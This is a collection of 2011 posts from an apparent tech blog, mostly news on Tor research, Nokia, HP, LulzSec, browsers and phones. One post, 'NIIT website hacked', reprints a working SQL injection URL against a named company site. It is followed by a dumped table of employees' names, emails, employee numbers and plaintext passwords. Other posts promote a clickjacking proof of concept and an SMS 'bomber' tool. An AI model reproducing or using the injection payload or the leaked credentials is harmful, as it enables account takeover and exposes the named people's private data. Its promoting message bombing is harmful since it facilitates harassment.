TOR got compromised !!! Finally Onion got pealed off..

Tor anonymizing network Compromised by French researchers

French researchers from ESIEA, a French engineering school, have found and exploited some serious vulnerabilities in the TOR network. They performed an inventory of the network, finding 6,000 machines, many of whose IPs are accessible publicly and directly with the system’s source code. They demonstrated that it is possible to take control of the network and read all the messages that circulate.

But there are also hidden nodes, the Tor Bridges, which are provided by the system that in some cases. Researchers have developed a script that, once again, to identify them. They found 181. "We now have a complete picture of the topography of Tor," said Eric Filiol.

The specific attack involves creating a virus and using it to infect such vulnerable systems in a laboratory environment, and thus decrypting traffic passing through them again via an unknown, unmentioned mechanism. Finally, traffic is redirected towards infected nodes by essentially performing a denial of service on clean systems.

Researchers showed that one third of the nodes are vulnerable, "sufficient in all cases so that we can easily infect and obtain system privileges," says the director. Researchers clone then a part of the network in order not to touch the real network, and they make a virus with which they will be able to take control of the machine."This allows us to set the encryption keys and readers initialization of cryptographic algorithms and thus cancel two layers of encryption on all three," says Eric Filiol. The remaining flow can then be decrypted via a fully method of attack called "to clear unknown" based on statistical analysis.

To guide communication to nodes infected, researchers make unavailable all other nodes. To do this, they apply a double attack: localized congestion, which involves sending a large number of requests Tor on uninfected machines, and spinning the packet, which will enclose Tor servers in a loop circuit to fill them. The Tor protocol will then, naturally, to route calls to infected machines, and that's it.

However, if it is real, details are to be presented at Hackers to Hackers in São Paulo on October 29/30-2011. TOR is no more than an additional layer of obfuscation and should not be relied upon for anonymity or security. Like any darknet, it is a complement to application-layer encryption and authentication, no more.

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Dennis Ritchie co-creator of C and Unix dies at 70

Dennis Ritchie known as the co-creator of C and Unix has died at the age of 70 . Having created arguably the best OS which has spawned better clones like BSD and GNU/Linux and a language truly designed for programming, he will be missed by all who use products of his legacy . RIP Dennis

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Nokia's gamble with Linux

After failing to capture the hearts or rather the pockets of people with the S40 and facing severe attrition , Nokia is reintroducing Linux(not again) into its line of mobile phones operating systems.

Nokia has announced that it will be developing a new linux based operating system called meltemi which will run on its low end phones that will replace the current crop of S40 based feature phones.

Link

http://www.bgr.com/2011/09/29/nokia-to-turn-mobile-landscape-on-its-head-with-meltemi-smartphone-os/

http://www.itworld.com/hardware/208803/nokia-readies-linux-os-low-end-smartphones

Another key factor in mellemi is the development of applications . Apps will be developed using the Qt Toolkit which was acquired by Nokia from Trolltech and since then made open. Qt allows applications developed in to to be run independent of the platform ( Desktop , phones etc etc ) .

The move is one of the many inconsistent decisions made by Nokia over the years since the rise of Android and iOS, to protect its user base and expansion options . While android bought profits to a sinking Motorola and lead to cheap smartphones , Symbian bore the brunt of a rapidly burgeoning android market share , shedding share like ice cream melting in the heat. Nokia made a few erratic moves by merging its thriving base in maemo with the Mobiln distro from Intel ( another failed attempt in bringing Linux to the desktop masses through netbooks ) . Meego was abandoned by Nokia once again after its partnership with Windows through which it received 1.2 billion USD . Even now it is still doubtful if Nokia can get back its market share it enjoyed in the hey days of Symbian.

The future of Meego (doubtful) was been buried completely following the announcement of Tizen, yet another Linux based OS ( so far no. 3 ) that will developed along with Intel, the LiMo foundation and the linux foundation .

However with cheap feature phones and basic phones providing most of its income in third world countries , Nokia cannot choose to ignore its cash cow. With the arrival of Windows 7 based Nokia phones , Nokia can mount a serious challenge to the bastions of Android and iOS . However licensing costs that would come with win 7 means that low end market simply cannot be cheap enough and Nokia would still end up losing market share.

Enter Meltemi . Named after favorable winds in the Aegian Basin , meltemi would provide a Linux based OS for the low end phones using the Qt toolkit to develop apps and the OS itself . This also is sweet news to developers who hate writing apps in Java .

While S40 made for a cheap platform , it is seriously behind the competition in terms of polish and features. A dated UI , and a lack of modern features has left s40 panting in the middle of the track .Though history proves otherwise with Nokia's record of inconsistency and bad decisions regarding Linux, Meltemi just might change the equation for Nokia if it can bring in a better UI , app development persuading people in the third worlds looking for better phones to stick with the Nokia camp.

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HP Pulling the plug on touchpad

Its all over the news.HP is closing down its WebOS division and is pulling the plug on its Touchpad and other WebOS devices.The Palm Pre 3 which was to released this year has been cancelled .Currently HP is looking for buyers for its WebOS division. HP is also reportedly shutting down its Personal Computer Systems division (indeed you might have chanced upon the full page adverts in The Hindu) and is keen on selling it too and concentrate only on the enterprise and software market. The PCS division is supposed to value around 40 Billion USD.

While WebOS did not turn out to the iPad Killer it was deemed to be , It wasnt a bad OS.WebOS is still one of the most advanced OSes for embedded devices in terms of process management and UI. Critics and user alike loved its card stack UI for handling process and simple clean interface.Had HP had some patience it could have improved on the WebOS , bringing it on par to Android and iOS. Closing down the WebOS division seems to be a desperate move . Nevertheless it can still salvage WebOS by open sourcing it or putting its development and maintenance in the hands of the open community.Not only would legacy devices and the TouchPad be supported, HP can still use it when it wants to come up with a Future iOS /Android killer. Projects like Linux and Debian really point the way towards the advantages of involving the community in development processes. As far as the PC division is concerned, HP is making the same move IBM made in 2005 by selling its PC division to Lenovo.Granted things may have been better for PC's then.With the tablet wars and the Mobile era growing rapidly , PC's may no longer be the center of attention or innovation.Not that we will lose all the tower and LCD's in our home anytime soon.PC's still play a major role in developing countries and among power users as the computing device of choice.HP's move may make sense as it has more corporate customers and is planning on a transition to purely software and systems seller like IBM .

 Right now , it is too early to say whether the move made by HP is a clever one or one taken in desperation.Emerging trends , and HP's future strategy will decide the fate of the once largest PC maker on Earth.

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QuakeCon 2011

QuakeCon is a big massive LAN gaming event orgainzed every year in Dallas , Texas,US.Named after id Software's Quake Game ( one of the first online multiplayer FPS ) its the worlds biggest LAN party and goes on for four days . It has become the premier event where new games are launched or details regarding them are published. Its a free event run by Volunteers and is called as a week of "peace , love and rockets".

This year's Quakecon started off with a keynote from id's John Cormack the key developer behingd Quake and Doom
a URL to his keynote is given below :

http://www.youtube.com/watch?v=4zgYG-_ha28&feature=player_embedded

The offcial YouTube Channel is
Quakecon2011

Stay tuned for more info
Cheerios
Darklighter

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HTC Corporation launches new version of smart phone HTC ChaCha

In a view to target tech-savvy youth in India, cellphone-maker HTC Corporation , along with the GSM arm of Tata Teleservices, Tata DOCOMO, on launched its new version of smart phone, HTC ChaCha that features a dedicated Facebook button. 

The smart phone version is priced at Rs 15,990. "At HTC, we always strive to take mobility experience to newer levels and add multi dimensions to our devices.

By featuring a dedicated Facebook button, we aim to make it simpler and convenient for our users to share and connect through their favourite social networking sites," HTC Country Manager Faisal Siddiqui told reporters here. 

The sleek feature-packed smart phone that combines a 2.6-inch touch screen with a full QWERTY keypad, was launched by Bollywood actress Riya Sen. 

"The smart phone is designed to provide a seamless, social experience for our customers. We will strive to introduce many more such advanced smart phones in the coming months," Siddiqui said. 

Under the partnership, Tata DOCOMO- 3G prepaid customers can avail 3GB free data, valid for a period of 90 days, whereas 1 GB free data is offered each month to postpaid customers for 90 days across all 3G circles, Tata Teleservices Head (Mobility Services and Devices Management), Sunil Tandon said. 

Besides, all subscribers of Tata DOCOMO-3G will also get 3-hour free mobile TV services that include data access charges valid for 90 days. 

Apart from this, Tata DOCOMO 2G prepaid customers can avail 3GB free data and 300 intra-network calls valid for a period of 90 days. 

The 2G postpaid subscribers can avail 1GB of free data and 100 minutes of intra-network calls free every month for three months' period, Tandon said.

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LulzSec Hacks Arizona State Police, Posts Officer Info - t3ch.in

Lulz Security's hacking continues to get political: on Friday the group attacked the Arizona Department of Public Safety in retaliation for immigration laws.

"We are releasing hundreds of private intelligence bulletins, training manuals, personal email correspondence, names, phone numbers, addresses and passwords belonging to Arizona law enforcement," LulzSec said in a statement. "We are targeting AZDPS specifically because we are against SB1070 and the racial profiling anti-immigrant police state that is Arizona."

Senate Bill 1070 is the law that requires aliens to carry registration documents with them at all times.

Arizona officials have confirmed that the documents leaked by LulzSec are authentic. The attack appears to be part of Operation Anti-Security, a push by LulzSec and Anonymous, another hacking group, to attack government agencies and post confidential or embarrassing information. Previous efforts have been limited to denial of service attacks on Websites, including those of the Brazilian and Chinese governments. Unlike those attacks, this hack has resulted in the sharing of confidential information.

This isn't the first time LulzSec has hacked a government agency. The group's previous exploits include an attack on the U.S. Senate, a denial of service attack on the CIA's Website, and a hack on an FBI-affialiated organization, Infragard. Earlier attacks focused on game companies and news organizations.

But this seems to be the first case in which LulzSec has pointed out a specific political policy as the motivation for hacking a government agency. The attack will surely increase the pressure on law enforcement to find and arrest LulzSec members. So far, U.K. police have arrested one teen, who the group says was only loosely-affiliated.

The U.S. government has said that cyber-attacks may be considered acts of war, a declaration that seems to have only encouraged LulzSec to continue its operations. Indeed, the group says it will release more documents on Monday.

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The New Opera Mini 6 a Hit -t3ch.in

The new version of Opera Mini 6 has hit the market. The updated version of Opera Mini 6 is said to be six-times faster while browsing even on slower and crowded networks. It has a fully automatic browser, which automatically adapts to the high resolution of the device and will automatically change the user interface to accommodate the screen size.
The new Opera Mini has been given a fresh and unique look. It has super smooth pinch-to-zoom and panning. The new Opera Mini has support for iPhone 4 retina display, iPad, and iPad 2 devices. Earlier, it was difficult to connect to Facebook by the older version of Opera Mini but now there won't be any such hassles as the new Opera Mini 6 has direct share on Facebook, Twitter, and My Opera.
While browsing, the consumer will be able to open new page in background tab. It also has improved international font support for Arabic, Chinese, Vietnamese, and other non-Latin languages.
Opera Mini 6 browser is available for free download from the Apple App Store for both the iPhone and iPad. It is believed that the Opera Mini 6 features up to 90% compression of data traffic for speed and cost savings.

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Social Jacking tutorial - t3ch.in

here is the Tutorial for Social jack ,

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Social Jacking , new way of online attack

Hi Guys ,
                i Introduce Social Jacking , I think you all are first familiar with Click Jacking , this method is used to steal information from user using cross site scripting , similar to that i found an another attack called Social Jacking , It is combination of Social Engineering and Click Jacking , where css absolute positioning property is used to hide all the unwanted elements from the victims page that is displayed using iframe and only button are made to seen and some social engineering tricks are used to make the user to click them .

I had made a small demo by performing clickjacking on google sms channel ,
just try it out , i assure it does not harm your account , before going to the below link you must have logged inside the google account and you must be registered for google sms channel which is a google india labs products , you can register for google sms channel here ,
after that goto the poc



http://socialjacking.appspot.com/



follow the instructions on above link  , soon i will release tutorial video for its design , please post your comment or suggestions here

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Automated program compilation and evaluation library.

HI guys i written by first java library , which allows users to compile and check output of java and c program , such as done in programming websites like code chef , top coder etc.
You can import this library to this program and use it in your own program .
The demo and download link of the project is
http://sourceforge.net/p/vtester/wiki/Home/

for direct download of demo use

http://sourceforge.net/projects/vtester/files/

This works currently in Linux alone , you need JRE to run this application.
Screen Shot:

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firefox addon with 7 million download can invade privacy

Source: theregister.co.uk

A high-rated Firefox extension with more than 7 million downloads secretly collects data about every website the open-source browser visits and combines it with uniquely traceable information tied to the user, an independent security researcher said.
The undisclosed behavior of the Ant Video Downloader and Player add-on takes place even when the Firefox private browsing mode is turned on or when users are availing themselves of anonymity services such as Tor. The add-on carries a rating of four out of five possible stars and gets an average of almost 7,000 downloads per day, according to official Mozilla statistics.

The revelations raise new questions about the safety of extensions offered on Mozilla's website. A spokeswoman for the open-source developer said the media player, like all public extensions not designated experimental, was vetted to make sure it meets a list of criteria. Chief among them is that add-ons "must make it very clear to users what [privacy and security] risks they might encounter, and what they can do to protect themselves."

to continue reading the article form the orginal  post , click here

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foss news letter , check it out

Are you FOSS enthusiastic , check this new letter , read it , get enriched ,
Table of contents:

Download at : http://ubuntuone.com/p/uZh/ 

Contents

1. Linux job portal launched: LinuxCareer.com

2. The Perfect Desktop - Kubuntu 11.04

3. 6 Important Changes in Next Ubuntu 11.10 Oneiric Ocelot

4. Perl 5.14 Improves IPv6, Unicode

5. The top 20 strongholds for desktop Linux

6. MeeGo 1.2 Release

7. Python 3: Building a Wiki Application

8. 5 Skype alternatives for Linux users

9. Download VirtualBox 4.0.8 for Ubuntu 11.04 and RHEL 6

10. Linux 2.6.39 Kernel Released With New Features & Bugs

11. Revisited: SimplyMEPIS 11.0

12. Top Games for Linux!

13. RHEL 6.1 lays foundation for future servers

14. Distribution Release: Red Hat Enterprise Linux 6.1


etc.

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Low band width streaming of slideshow , an alternate to video tutorials.

A Guy from IIT delhi named Narendra Sisodiya , has introduced an innovative approach , where he embedded html slides and added voice and created a slideshow method , thus only html + audio is used to render the slideshow , normally video occupies 90% bandwidth and audio 10% bandwidth , thus here we use only audio and html5 to provide the slides , thus no video so faster streaming , the demo is available at

http://code.narendrasisodiya.com/slidecast/demo-slidecasting.html


It looks like a video , but it is not a video , it is html5 magic ...
A good approach :)

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NIIT website hacked by some hacker

[update]:
This hack may not work now some modification may be done.
I got the following passwords list from a google groups called null , and the person who claimed to hack this site and who posted this information on the group is , 
4g3n71337@gmail.com 

some team called   TIGERS OF INDIAN CYBER have done this ,

Proof of concept can be found at


http://gis.niit-tech.com/eits/eies/courseview1.asp?ccd=Introduction%20to%20ArcGIS%209.3.x%27%20or%201=convert%28int,%28char%28126%29%2b%28SELECT%20TOP%201%20cast%28ch_level%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28ch_username%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28empno%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28mail%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28pass%20as%20nvarchar%284000%29%29%2bchar%2894%29%2bcast%28Full_name%20as%20nvarchar%284000%29%29%20COLLATE%20SQL_Latin1_General_Cp1254_CS_AS%20FROM%20%28SELECT%20TOP%2030%20ch_level,ch_username,empno,mail,pass,Full_name%20FROM%20credentials%20order%20by%20ch_level%20asc%29%20sq%20order%20by%20ch_level%20desc%29%2bchar%28126%29%29%29%20and%20%271%27=%271


and

this is the complete list of username and passwords

http://gis.niit-tech.com/eits/login.asp

ch_level	ch_username	empno	mail	pass	Full_name
admin	admin	10504	Seema.joshi@niit-tech.com	esri#123	Administrator
EC	seemajo	10504	Seema.joshi@niit-tech.com	cma	Seema Joshi
esri	esriindia	10504	Seema.joshi@niit-tech.com	esriindia	ESRI Support
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
HO	nehashri	52090	neha.1.srivastav@niit-tech.com	nehashri	Neha Shrivastv
ISO	ISO	41594	swati.gupta@niit-tech.com	ISO	ESRI India ISO Team
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	amitavam	52434	amitava.mukherjee@niit-tech.com	am	Amitava Mukharjee
region	ArnabS	41599	Arnab.Sadhu@niit-tech.com	ArnanS	Arnab Sadhu
region	ArnabS	41599	Arnab.Sadhu@niit-tech.com	ArnanS	Arnab Sadhu
region	ArnabS	41599	Arnab.Sadhu@niit-tech.com	ArnanS	Arnab Sadhu
region	ArnabS	41599	Arnab.Sadhu@niit-tech.com	ArnanS	Arnab Sadhu
region	ArnabS	41599	Arnab.Sadhu@niit-tech.com	ArnanS	Arnab Sadhu
region	ArnabS	41599	Arnab.Sadhu@niit-tech.com	ArnanS	Arnab Sadhu
region	ArnabS	41599	Arnab.Sadhu@niit-tech.com	ArnanS	Arnab Sadhu
region	priyankm	47013	Priyank.Mittal@niit-tech.com	priyankm	Priyank Mittal
region	rahul	47259	Rahul.deshmukh@niit-tech.com	rahul	Rahul Deshmukh
region	shrutip	47261	Shruti.Parkhe@niit-tech.com	shrutip	Shruti Parkhe
region	ravis	47290	ravi.srivastava@niit-tech.com	nishesh	Ravi Nishesh Srivastava
region	AnudebR	47618	Anudeb.raha@niit-tech.com	AnudebR	Anudeb Raha
region	AnudebR	47618	Anudeb.raha@niit-tech.com	AnudebR	Anudeb Raha
region	virats	48075	Virat.Shah@niit-tech.com	VVSHAH123	Virat Shah
region	sumantas	48297	sumanta.saha@niit-tech.com	saha9050	Sumanta Saha
region	sumantas	48297	sumanta.saha@niit-tech.com	saha9050	Sumanta Saha
region	pradeep	48957	pradeep.bhatt@niit-tech.com	pradeep	Pradeep Bhatt
region	nagarajus	48959	nagaraju.sankuru@niit-tech.com	nagarajus	Nagaraju Sankuru
region	chandram	49125	chandramohan.adhikari@niit-tech.com	chandram	Chandra Mohan
region	rakesh	49145	rakesh.lakhena@niit-tech.com	rakesh	Rakesh Lakhena
region	rakesh	49145	rakesh.lakhena@niit-tech.com	rakesh	Rakesh Lakhena
region	rakesh	49145	rakesh.lakhena@niit-tech.com	rakesh	Rakesh Lakhena
reliance	GDB	11113	akabaralli.patel@relianceada.com	GDB	Akabaralli Patel
reliance	GDB	11113	akabaralli.patel@relianceada.com	GDB	Akabaralli Patel
RH	rhchennai	49348	ravi.veeramani@niit-tech.com	rhchennai	Ravikumar Veeramani
RH	rhchennai	49348	ravi.veeramani@niit-tech.com	rhchennai	Ravikumar Veeramani
RH	rhchennai	49348	ravi.veeramani@niit-tech.com	rhchennai	Ravikumar Veeramani
RH	rhchennai	49348	ravi.veeramani@niit-tech.com	rhchennai	Ravikumar Veeramani
RH	rhchennai	49348	ravi.veeramani@niit-tech.com	rhchennai	Ravikumar Veeramani
RH	rhchennai	49348	ravi.veeramani@niit-tech.com	rhchennai	Ravikumar Veeramani
RH	rhreliance	5957	Vatsal.dave@niit-tech.com	rhreliance	Vatsal Dave
RH	rhbangalore	49979	Srikantha.M@niit-tech.com	rhbangalore	Mr. Srikantha M.S
support	prakashl	6629	Prakash.lohani@niit-tech.com	prakashl	Prakash Lohani
support	prakashl	6629	Prakash.lohani@niit-tech.com	prakashl	Prakash Lohani
support	prakashl	6629	Prakash.lohani@niit-tech.com	prakashl	Prakash Lohani

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Indian telcos add 9mn 3G users in 4 months

Indian telcos add 9mn 3G users in 4 months

Airtel , Docomo the leaders of the 3G in India having a greater number of 3G users than other service providers , they assured that 9 million
customers will be newly subscribed to 3G within 4 months, less cost , more affordability and usage of mobile based web services has lead to this
tremndous growth ..

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way2sms sender / bomber latest

Hi guys i made this new application called way2sms sender client , written in java ,
through which you can send sms from your desktop to your friends , and you can specify the amount of sms to be sent from the client which can acts as a bomber , but i strictly dont recommend it , since over spamming can be detected and lead to account disconnection .

The details of the software :

Download Link :
https://sourceforge.net/projects/way2smsclient/

Note you need java run time environment to run the application , currently the application works only in windows operating system having internet explorer 6 or above .hope you like it . 

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Access facebook without gprs in Airtel

Hi Guys , A new service started by Bharti Airtel will let any mobile phone user to access Facebook for just a rupee a day. The beauty of this service is that it works on virtually any GSM mobile phone, even if it is not internet-enabled.

This new service makes use of USSD (Unstructured Supplementary Service Data) service, which is a protocol used by GSM to communicate with service provider s computers. Those who have had mobile phones for over a decade, may remember that USSD had been in use in the form of WAP-over-SMS to access mobile internet in phones not supporting any form of internet connectivity.

Due to the limitations of the technology, the interactivity is also limited to status updates, "friend" requests and posting text on walls. While Facebook is the dominant social networking website globally, it is still in second place in India behind Google's Orkut, which is still in leading comfortably. But Facebook is fast gaining popularity and moves like these may only serve to its advantage.

Currently, only Bharti Airtel offers a service such as this, but we may soon find other GSM service providers follow suit

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See who’s poking your Linux box

If you’re using SSH and you have your ports wide open to the world, your best bet would be to install fail2ban. If you’re curious though as of whom is trying to get in by bruteforcing your SSH passwords, you might get a clear view with the following command:

grep “POSSIBLE BREAK-IN ATTEMPT” /var/log/auth.log

This will verbose a list detailing each break-in attempt that has been made, with the exact date, hour, minute and second of it. It will also display the point of origin of these attempts, in a fashion similar to this one:

Jul 21 13:54:35 brunner sshd[12144]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul 21 13:54:38 brunner sshd[12146]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul 21 13:54:42 brunner sshd[12152]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul 21 13:54:45 brunner sshd[12155]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul 21 13:54:49 brunner sshd[12163]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul 21 13:54:52 brunner sshd[12165]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul 21 13:54:56 brunner sshd[12171]: reverse mapping checking getaddrinfo for 66-195-150-176.static.twtelecom.net [66.195.150.176] failed - POSSIBLE BREAK-IN ATTEMPT!

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Firefox 4 RC (for Android): Hands On

Firefox 4 RC for Android may eventually torch the stock Android browser. It's faster than previous releases, dons a trimmer interface, and tucks new tricks up its e-sleeve, notably smart taps and single-click bookmarks.

Pile on the Add-Ons — for customizing the browser's look and feel (and functionality)—and Firefox Sync — for synchronizing bookmarks, history, passwords, and preferences with your desktops — and Mozilla moguls will find plenty of reasons to bookmark the mobile browser.

Yet, despite bringing a real frontrunner to the desktop market, Firefox is still just a candidate in the mobile space. It's faster than previous builds, but, compared with Android's stock browser andOpera Mobile 11, it doesn't lap the pack. It lacks multimedia dexterity: Firefox doesn't yet support Flash and cannot access a surprising amount of HTML5 content. And if you're reading this on an Android tablet, this fox isn't available on Honeycomb, yet. For Mozilla users who prize synchronicity, the Release Candidate is worth a click; however, for anyone who isn't wedded to Firefox on the desktop, hold out for additional support.

The Big Picture on the Small Screen
Mozilla has bred a leaner fox with keener eyes. Firefox dedicates the entire screen to web pages. Swiping from the right bezel towards the screen reveals a tray with navigation buttons (back and forward), settings, and a star icon for single-click bookmarking. Under settings, you can manage downloads, add Add-ons—though, with about 150 in total, mobile availability is still limited—and adjust settings. For those accustomed to the stock browser's wrap text feature, Mozilla's "Reformat on zoom" option is a must-enable.

Closing the tray and returning your web page is as easy as swiping towards the bezel. Swiping on the left side of the screen reveals a tray with your open tabs and a folder stuffed with browsing history and bookmarks. And whether you're in the left or right tray, a search bar drapes from top of screen, complete with mobile Add-ons (in this case, search options) for Google, Amazon, Twitter, and Wikipedia. Compared to the stock browser, which requires you to use the phone's physical buttons to navigate between windows or explore history, Mozilla has created a more elegant and intuitive solution.

Phone Home, Home Phone
In addition to its streamlined interface, Firefox Sync is the definitive enticement to download the mobile Release Candidate. The process is simple. From the latest version of the desktop client, sign up for a free account and synchronize data through the Sync pane in Firefox settings. To access that data on your phone, open your mobile settings and Enable Sync. Mozilla gives you a code to input on your desktop to pair the two. Voilà: all of your desktop preferences, saved passwords, bookmarks and history flow into your mobile client; conversely, mobile changes appear at home. If Firefox is your default browser, Sync puts the home in phone—and visa versa.

A Spry Fox…
The other key enhancement for Android users occurs under the hood. In the release notes, Mozilla claims to have improved startup speed and page load times. For the most part, it's true.

I tested Firefox 4 RC on a Spring HTC Evo 4G running the most current available version of Android (2.2) with the latest version of Adobe Flash (10.2); I used two preliminary JavaScript benchmark tests: SunSpider (0.9.1) and Google V8 (version 6). In the SunSpider test where a lower score is desirable, Firefox led the pack (3080.4 ms), followed by Opera (4133.2) and the stock browser (4564.2). When it came to the V8 test, however, results mixed: the stock browser took the lead (310), with Firefox (296) nipping its heals, and Opera (179) playing the role of laggard. In real-world use, it feels a whole lot closer. Firefox is quick, but not quick enough to replace the stock browser.

…At a Cost
That added octane doesn't come cheaply. According the release notes, Mozilla disabled Adobe Flash and other plugins because it "compromised user experience." Compared to both Opera Mobile 11 and the stock browser, through which I browsed and played Flash videos—if sluggishly—Firefox webpages looked like Swiss cheese. Add to Flash-less-ness the browser's limitations with HTML5 video (lacking H.264 support), and even the New York Times homepage starts to look patchy. If you're looking to view any web video on the go, I'd highly recommend waiting for the Gold Master, in which Mozilla might permit users to enable video plugins, even if it does "compromise user experience."

This Fox is Still a Kit
Firefox 4 RC for Android transfers to the mobile browser much of what invigorated the desktop client, including a fresh new look with a speedier engine, Add-ons, and Firefox Sync. Unfortunately, those valuable new features enter in medias res. The new look is welcome, but the speed bump comes at the cost of multimedia dexterity. While mobile Add-ons hold promise, there aren't enough available (yet) to customize the browser. And Firefox Sync is an exciting addition, but its value only extends to Mozilla faithful. If Firefox is your default desktop browser, the latest version of Firefox for Android grows that experience, though I would recommend waiting a little bit longer until this fox finds its legs.

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